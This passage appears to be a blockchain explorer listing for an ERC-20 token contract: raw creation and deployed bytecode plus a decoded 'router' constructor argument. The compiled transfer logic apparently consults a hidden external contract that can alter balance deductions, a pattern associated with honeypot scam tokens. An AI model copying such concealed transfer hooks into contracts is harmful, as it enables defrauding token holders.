ffffffffffffffff1603610dae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da5906120c4565b60405180910390fd5b610db9838383611497565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610e40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3790612156565b60405180910390fd5b600b60009054906101000a900460ff1615610fd157600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610f015750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15610fcc5743600c60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610f87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7e9061220e565b60405180910390fd5b43600c60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610ff7565b6000600590506000610fe486868661149c565b90508015610ff457600a54820391505b50505b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110e791906119b8565b60405180910390a36110fa84848461154e565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361116f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611166906122a0565b60405180910390fd5b61117b82600083611497565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611202576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f990612332565b60405180910390fd5b818103600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360008282540392505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112b691906119b8565b60405180910390a36112ca8360008461154e565b505050565b6112d7610a73565b73ffffffffffffffffffffffffffffffffffffffff166112f56105b4565b73ffffffffffffffffffffffffffffffffffffffff161461134b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113429061239e565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6114928363a9059cbb60e01b84846040516024016114309291906123be565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611553565b505050565b505050565b600080600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636c36515d8686866040518463ffffffff1660e01b81526004016114fe939291906123e7565b6020604051808303816000875af115801561151d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611541919061244a565b9050809150509392505050565b505050565b60006115b5826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff1661161b9092919063ffffffff16565b90506000815114806115d75750808060200190518101906115d6919061244a565b5b611616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160d906124e9565b60405180910390fd5b505050565b606061162a8484600085611633565b90509392505050565b606082471015611678576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166f9061257b565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040516116a191906125e2565b60006040518083038185875af1925050503d80600081146116de576040519150601f19603f3d011682016040523d82523d6000602084013e6116e3565b606091505b50915091506116f487838387611700565b92505050949350505050565b6060831561176257600083510361175a5761171a85611775565b611759576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175090612645565b60405180910390fd5b5b82905061176d565b61176c8383611798565b5b949350505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b6000825111156117ab5781518083602001fd5b806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117df9190611878565b60405180910390fd5b600081519050919050565b600082825260208201905092915050565b60005b83811015611822578082015181840152602081019050611807565b60008484015250505050565b6000601f19601f8301169050919050565b600061184a826117e8565b61185481856117f3565b9350611864818560208601611804565b61186d8161182e565b840191505092915050565b60006020820190508181036000830152611892818461183f565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006118ca8261189f565b9050919050565b6118da816118bf565b81146118e557600080fd5b50565b6000813590506118f7816118d1565b92915050565b6000819050919050565b611910816118fd565b811461191b57600080fd5b50565b60008135905061192d81611907565b92915050565b6000806040838503121561194a5761194961189a565b5b6000611958858286016118e8565b92505060206119698582860161191e565b9150509250929050565b60008115159050919050565b61198881611973565b82525050565b60006020820190506119a3600083018461197f565b92915050565b6119b2816118fd565b82525050565b60006020820190506119cd60008301846119a9565b92915050565b6000806000606084860312156119ec576119eb61189a565b5b60006119fa868287016118e8565b9350506020611a0b868287016118e8565b9250506040611a1c8682870161191e565b9150509250925092565b600060ff82169050919050565b611a3c81611a26565b82525050565b6000602082019050611a576000830184611a33565b92915050565b600060208284031215611a7357611a7261189a565b5b6000611a818482850161191e565b91505092915050565b600060208284031215611aa057611a9f61189a565b5b6000611aae848285016118e8565b91505092915050565b611ac0816118bf565b82525050565b6000602082019050611adb6000830184611ab7565b92915050565b6000819050919050565b6000611b06611b01611afc8461189f565b611ae1565b61189f565b9050919050565b6000611b1882611aeb565b9050919050565b6000611b2a82611b0d565b9050919050565b611b3a81611b1f565b82525050565b6000602082019050611b556000830184611b31565b92915050565b60008060408385031215611b7257611b7161189a565b5b6000611b80858286016118e8565b9250506020611b91858286016118e8565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611be257607f821691505b602082108103611bf557611bf4611b9b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611c35826118fd565b9150611c40836118fd565b9250828201905080821115611c5857611c57611bfb565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611cba6025836117f3565b9150611cc582611c5e565b604082019050919050565b60006020820190508181036000830152611ce981611cad565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000611d266017836117f3565b9150611d3182611cf0565b602082019050919050565b60006020820190508181036000830152611d5581611d19565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611db86026836117f3565b9150611dc382611d5c565b604082019050919050565b60006020820190508181036000830152611de781611dab565b9050919050565b600081519050611dfd81611907565b92915050565b600060208284031215611e1957611e1861189a565b5b6000611e2784828501611dee565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611e8c6024836117f3565b9150611e9782611e30565b604082019050919050565b60006020820190508181036000830152611ebb81611e7f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611f1e6022836117f3565b9150611f2982611ec2565b604082019050919050565b60006020820190508181036000830152611f4d81611f11565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611f8a601d836117f3565b9150611f9582611f54565b602082019050919050565b60006020820190508181036000830152611fb981611f7d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061201c6025836117f3565b915061202782611fc0565b604082019050919050565b6000602082019050818103600083015261204b8161200f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006120ae6023836117f3565b91506120b982612052565b604082019050919050565b600060208201905081810360008301526120dd816120a1565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006121406026836117f3565b915061214b826120e4565b604082019050919050565b6000602082019050818103600083015261216f81612133565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b60006121f86049836117f3565b915061220382612176565b606082019050919050565b60006020820190508181036000830152612227816121eb565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600061228a6021836117f3565b91506122958261222e565b604082019050919050565b600060208201905081810360008301526122b98161227d565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b600061231c6022836117f3565b9150612327826122c0565b604082019050919050565b6000602082019050818103600083015261234b8161230f565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006123886020836117f3565b915061239382612352565b602082019050919050565b600060208201905081810360008301526123b78161237b565b9050919050565b60006040820190506123d36000830185611ab7565b6123e060208301846119a9565b9392505050565b60006060820190506123fc6000830186611ab7565b6124096020830185611ab7565b61241660408301846119a9565b949350505050565b61242781611973565b811461243257600080fd5b50565b6000815190506124448161241e565b92915050565b6000602082840312156124605761245f61189a565b5b600061246e84828501612435565b91505092915050565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b60006124d3602a836117f3565b91506124de82612477565b604082019050919050565b60006020820190508181036000830152612502816124c6565b9050919050565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b60006125656026836117f3565b915061257082612509565b604082019050919050565b6000602082019050818103600083015261259481612558565b9050919050565b600081519050919050565b600081905092915050565b60006125bc8261259b565b6125c681856125a6565b93506125d6818560208601611804565b80840191505092915050565b60006125ee82846125b1565b915081905092915050565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b600061262f601d836117f3565b915061263a826125f9565b602082019050919050565b6000602082019050818103600083015261265e81612622565b905091905056fea264697066735822122075b9d1486c0accb37ac608a98aa24579d0d3f0e9b7a0d069cdfcc0f6322758f564736f6c634300081300330000000000000000000000008ecc343ab76586bcd8df28ce0c1cbd0469b6a739

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101375760003560e01c80638da5cb5b116100b8578063c876d0b91161007c578063c876d0b914610354578063c9567bf914610372578063dd62ed3e1461037c578063e164f60c146103ac578063f2fde38b146103ca578063f9d0831a146103e657610137565b80638da5cb5b1461029a57806395d89b41146102b8578063a457c2d7146102d6578063a9059cbb14610306578063c349f8e21461033657610137565b806339509351116100ff57806339509351146101f657806342966c681461022657806350bd46b61461024257806370a0823114610260578063715018a61461029057610137565b806306fdde031461013c578063095ea7b31461015a57806318160ddd1461018a57806323b872dd146101a8578063313ce567146101d8575b600080fd5b610144610402565b6040516101519190611878565b60405180910390f35b610174600480360381019061016f9190611933565b610494565b604051610181919061198e565b60405180910390f35b6101926104b7565b60405161019f91906119b8565b60405180910390f35b6101c260048036038101906101bd91906119d3565b6104c1565b6040516101cf919061198e565b60405180910390f35b6101e06104f0565b6040516101ed9190611a42565b60405180910390f35b610210600480360381019061020b9190611933565b6104f9565b60405161021d919061198e565b60405180910390f35b610240600480360381019061023b9190611a5d565b610530565b005b61024a610544565b604051610257919061198e565b60405180910390f35b61027a60048036038101906102759190611a8a565b610557565b60405161028791906119b8565b60405180910390f35b6102986105a0565b005b6102a26105b4565b6040516102af9190611ac6565b60405180910390f35b6102c06105dd565b6040516102cd9190611878565b60405180910390f35b6102f060048036038101906102eb9190611933565b61066f565b6040516102fd919061198e565b60405180910390f35b610320600480360381019061031b9190611933565b6106e6565b60405161032d919061198e565b60405180910390f35b61033e610709565b60405161034b9190611b40565b60405180910390f35b61035c61072f565b604051610369919061198e565b60405180910390f35b61037a610742565b005b61039660048036038101906103919190611b5b565b61080c565b6040516103a391906119b8565b60405180910390f35b6103b4610893565b6040516103c1919061198e565b60405180910390f35b6103e460048036038101906103df9190611a8a565b6108a6565b005b61040060048036038101906103fb9190611a8a565b610929565b005b60606004805461041190611bca565b80601f016020809104026020016040519081016040528092919081815260200182805461043d90611bca565b801561048a5780601f1061045f5761010080835404028352916020019161048a565b820191906000526020600020905b81548152906001019060200180831161046d57829003601f168201915b5050505050905090565b60008061049f610a73565b90506104ac818585610a7b565b600191505092915050565b6000600354905090565b6000806104cc610a73565b90506104d9858285610c44565b6104e4858585610cd0565b60019150509392505050565b60006009905090565b600080610504610a73565b9050610525818585610516858961080c565b6105209190611c2a565b610a7b565b600191505092915050565b61054161053b610a73565b82611100565b50565b600b60019054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105a86112cf565b6105b2600061134d565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546105ec90611bca565b80601f016020809104026020016040519081016040528092919081815260200182805461061890611bca565b80156106655780601f1061063a57610100808354040283529160200191610665565b820191906000526020600020905b81548152906001019060200180831161064857829003601f168201915b5050505050905090565b60008061067a610a73565b90506000610688828661080c565b9050838110156106cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c490611cd0565b60405180910390fd5b6106da8286868403610a7b565b60019250505092915050565b6000806106f1610a73565b90506106fe818585610cd0565b600191505092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b60009054906101000a900460ff1681565b61074a6112cf565b600860149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190611d3c565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600860146101000a81548160ff021916908315150217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660149054906101000a900460ff1681565b6108ae6112cf565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361091d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091490611dce565b60405180910390fd5b6109268161134d565b50565b6109316112cf565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109b85761096d610a73565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156109b2573d6000803e3d6000fd5b50610a70565b600081905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016109f89190611ac6565b602060405180830381865afa158015610a15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a399190611e03565b9050610a6d610a46610a73565b828473ffffffffffffffffffffffffffffffffffffffff166114119092919063ffffffff16565b50505b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610aea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae190611ea2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5090611f34565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c3791906119b8565b60405180910390a3505050565b6000610c50848461080c565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610cca5781811015610cbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb390611fa0565b60405180910390fd5b610cc98484848403610a7b565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3690612032565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da5906120c4565b60405180910390fd5b610db9838383611497565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610e40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3790612156565b60405180910390fd5b600b60009054906101000a900460ff1615610fd157600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610f015750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15610fcc5743600c60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610f87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7e9061220e565b60405180910390fd5b43600c60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610ff7565b6000600590506000610fe486868661149c565b90508015610ff457600a54820391505b50505b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110e791906119b8565b60405180910390a36110fa84848461154e565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361116f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611166906122a0565b60405180910390fd5b61117b82600083611497565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611202576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f990612332565b60405180910390fd5b818103600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360008282540392505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112b691906119b8565b60405180910390a36112ca8360008461154e565b505050565b6112d7610a73565b73ffffffffffffffffffffffffffffffffffffffff166112f56105b4565b73ffffffffffffffffffffffffffffffffffffffff161461134b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113429061239e565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6114928363a9059cbb60e01b84846040516024016114309291906123be565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611553565b505050565b505050565b600080600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636c36515d8686866040518463ffffffff1660e01b81526004016114fe939291906123e7565b6020604051808303816000875af115801561151d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611541919061244a565b9050809150509392505050565b505050565b60006115b5826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff1661161b9092919063ffffffff16565b90506000815114806115d75750808060200190518101906115d6919061244a565b5b611616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160d906124e9565b60405180910390fd5b505050565b606061162a8484600085611633565b90509392505050565b606082471015611678576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166f9061257b565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040516116a191906125e2565b60006040518083038185875af1925050503d80600081146116de576040519150601f19603f3d011682016040523d82523d6000602084013e6116e3565b606091505b50915091506116f487838387611700565b92505050949350505050565b6060831561176257600083510361175a5761171a85611775565b611759576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175090612645565b60405180910390fd5b5b82905061176d565b61176c8383611798565b5b949350505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b6000825111156117ab5781518083602001fd5b806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117df9190611878565b60405180910390fd5b600081519050919050565b600082825260208201905092915050565b60005b83811015611822578082015181840152602081019050611807565b60008484015250505050565b6000601f19601f8301169050919050565b600061184a826117e8565b61185481856117f3565b9350611864818560208601611804565b61186d8161182e565b840191505092915050565b60006020820190508181036000830152611892818461183f565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006118ca8261189f565b9050919050565b6118da816118bf565b81146118e557600080fd5b50565b6000813590506118f7816118d1565b92915050565b6000819050919050565b611910816118fd565b811461191b57600080fd5b50565b60008135905061192d81611907565b92915050565b6000806040838503121561194a5761194961189a565b5b6000611958858286016118e8565b92505060206119698582860161191e565b9150509250929050565b60008115159050919050565b61198881611973565b82525050565b60006020820190506119a3600083018461197f565b92915050565b6119b2816118fd565b82525050565b60006020820190506119cd60008301846119a9565b92915050565b6000806000606084860312156119ec576119eb61189a565b5b60006119fa868287016118e8565b9350506020611a0b868287016118e8565b9250506040611a1c8682870161191e565b9150509250925092565b600060ff82169050919050565b611a3c81611a26565b82525050565b6000602082019050611a576000830184611a33565b92915050565b600060208284031215611a7357611a7261189a565b5b6000611a818482850161191e565b91505092915050565b600060208284031215611aa057611a9f61189a565b5b6000611aae848285016118e8565b91505092915050565b611ac0816118bf565b82525050565b6000602082019050611adb6000830184611ab7565b92915050565b6000819050919050565b6000611b06611b01611afc8461189f565b611ae1565b61189f565b9050919050565b6000611b1882611aeb565b9050919050565b6000611b2a82611b0d565b9050919050565b611b3a81611b1f565b82525050565b6000602082019050611b556000830184611b31565b92915050565b60008060408385031215611b7257611b7161189a565b5b6000611b80858286016118e8565b9250506020611b91858286016118e8565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611be257607f821691505b602082108103611bf557611bf4611b9b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611c35826118fd565b9150611c40836118fd565b9250828201905080821115611c5857611c57611bfb565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611cba6025836117f3565b9150611cc582611c5e565b604082019050919050565b60006020820190508181036000830152611ce981611cad565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000611d266017836117f3565b9150611d3182611cf0565b602082019050919050565b60006020820190508181036000830152611d5581611d19565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611db86026836117f3565b9150611dc382611d5c565b604082019050919050565b60006020820190508181036000830152611de781611dab565b9050919050565b600081519050611dfd81611907565b92915050565b600060208284031215611e1957611e1861189a565b5b6000611e2784828501611dee565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611e8c6024836117f3565b9150611e9782611e30565b604082019050919050565b60006020820190508181036000830152611ebb81611e7f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611f1e6022836117f3565b9150611f2982611ec2565b604082019050919050565b60006020820190508181036000830152611f4d81611f11565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611f8a601d836117f3565b9150611f9582611f54565b602082019050919050565b60006020820190508181036000830152611fb981611f7d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061201c6025836117f3565b915061202782611fc0565b604082019050919050565b6000602082019050818103600083015261204b8161200f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006120ae6023836117f3565b91506120b982612052565b604082019050919050565b600060208201905081810360008301526120dd816120a1565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006121406026836117f3565b915061214b826120e4565b604082019050919050565b6000602082019050818103600083015261216f81612133565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b60006121f86049836117f3565b915061220382612176565b606082019050919050565b60006020820190508181036000830152612227816121eb565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600061228a6021836117f3565b91506122958261222e565b604082019050919050565b600060208201905081810360008301526122b98161227d565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b600061231c6022836117f3565b9150612327826122c0565b604082019050919050565b6000602082019050818103600083015261234b8161230f565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006123886020836117f3565b915061239382612352565b602082019050919050565b600060208201905081810360008301526123b78161237b565b9050919050565b60006040820190506123d36000830185611ab7565b6123e060208301846119a9565b9392505050565b60006060820190506123fc6000830186611ab7565b6124096020830185611ab7565b61241660408301846119a9565b949350505050565b61242781611973565b811461243257600080fd5b50565b6000815190506124448161241e565b92915050565b6000602082840312156124605761245f61189a565b5b600061246e84828501612435565b91505092915050565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b60006124d3602a836117f3565b91506124de82612477565b604082019050919050565b60006020820190508181036000830152612502816124c6565b9050919050565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b60006125656026836117f3565b915061257082612509565b604082019050919050565b6000602082019050818103600083015261259481612558565b9050919050565b600081519050919050565b600081905092915050565b60006125bc8261259b565b6125c681856125a6565b93506125d6818560208601611804565b80840191505092915050565b60006125ee82846125b1565b915081905092915050565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b600061262f601d836117f3565b915061263a826125f9565b602082019050919050565b6000602082019050818103600083015261265e81612622565b905091905056fea264697066735822122075b9d1486c0accb37ac608a98aa24579d0d3f0e9b7a0d069cdfcc0f6322758f564736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000008ecc343ab76586bcd8df28ce0c1cbd0469b6a739

-----Decoded View---------------
Arg [0] : router (address): 0x8ecC343ab76586bCD8DF28ce0C1cbd0469B6A739

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000008ecc343ab76586bcd8df28ce0c1cbd0469b6a739


Deployed Bytecode Sourcemap

